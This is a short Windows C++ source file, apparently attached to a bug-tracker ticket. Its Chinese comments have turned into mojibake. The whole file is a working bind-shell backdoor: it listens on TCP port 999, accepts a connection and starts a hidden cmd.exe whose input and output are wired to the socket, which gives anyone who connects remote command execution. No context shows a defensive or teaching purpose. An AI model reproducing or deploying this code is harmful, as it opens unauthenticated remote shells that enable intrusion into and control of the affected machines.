Ticket #10534: mini.cpp

File mini.cpp, 1.8 KB (added by 736324849@…, 6 years ago)
Line 
1#pragma comment(lib, "ws2_32.lib")
2#include <winsock2.h>
3#include <windows.h>
4
5
6#define MasterPort 999 //¶¨Òå¼àÌý¶Ë¿Ú999
7int main() //Ö÷º¯ÊýÈë¿Ú
8{
9 WSADATA WSADa;
10 sockaddr_in SockAddrIn;
11 SOCKET CSocket,SSocket;
12 int iAddrSize;
13 PROCESS_INFORMATION ProcessInfo;
14 STARTUPINFO StartupInfo;
15 char szCMDPath[255];
16 //·ÖÅäÄÚ´æ×ÊÔ´£¬³õʼ»¯Êý¾Ý£º
17 ZeroMemory(&ProcessInfo, sizeof(PROCESS_INFORMATION));
18 ZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
19 ZeroMemory(&WSADa, sizeof(WSADATA));
20 //»ñÈ¡cmd·¾¶
21 GetEnvironmentVariable("COMSPEC",szCMDPath,sizeof(szCMDPath));
22 //¼ÓÔØws2_32.dll£º
23 WSAStartup(0x0202,&WSADa);
24 //ÉèÖñ¾µØÐÅÏ¢ºÍ°ó¶¨Ð­Ò飬½¨Á¢socket£¬´úÂëÈçÏ£º
25 SockAddrIn.sin_family = AF_INET;
26 SockAddrIn.sin_addr.s_addr = INADDR_ANY;
27 SockAddrIn.sin_port = htons(MasterPort);
28 CSocket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
29 //ÉèÖð󶨶˿Ú999£º
30 bind(CSocket,(sockaddr *)&SockAddrIn,sizeof(SockAddrIn));
31 //ÉèÖ÷þÎñÆ÷¶Ë¼àÌý¶Ë¿Ú£º
32 listen(CSocket,1);
33 iAddrSize = sizeof(SockAddrIn);
34 //¿ªÊ¼Á¬½ÓÔ¶³Ì·þÎñÆ÷£¬²¢ÅäÖÃÒþ²Ø´°¿Ú½á¹¹Ì壺
35 SSocket = accept(CSocket,(sockaddr *)&SockAddrIn,&iAddrSize);
36 StartupInfo.cb = sizeof(STARTUPINFO);
37 StartupInfo.wShowWindow = SW_HIDE;
38 StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
39 StartupInfo.hStdInput = (HANDLE)SSocket;
40 StartupInfo.hStdOutput = (HANDLE)SSocket;
41 StartupInfo.hStdError = (HANDLE)SSocket;
42 //´´½¨ÄäÃû¹ÜµÀ£º
43 CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);
44 WaitForSingleObject(ProcessInfo.hProcess, INFINITE);
45 CloseHandle(ProcessInfo.hProcess);
46 CloseHandle(ProcessInfo.hThread);
47 //¹Ø±Õ½ø³Ì¾ä±ú£º
48 closesocket(CSocket);
49 closesocket(SSocket);
50 WSACleanup();
51 //¹Ø±ÕÁ¬½ÓжÔØws2_32.dll
52return 0;
53}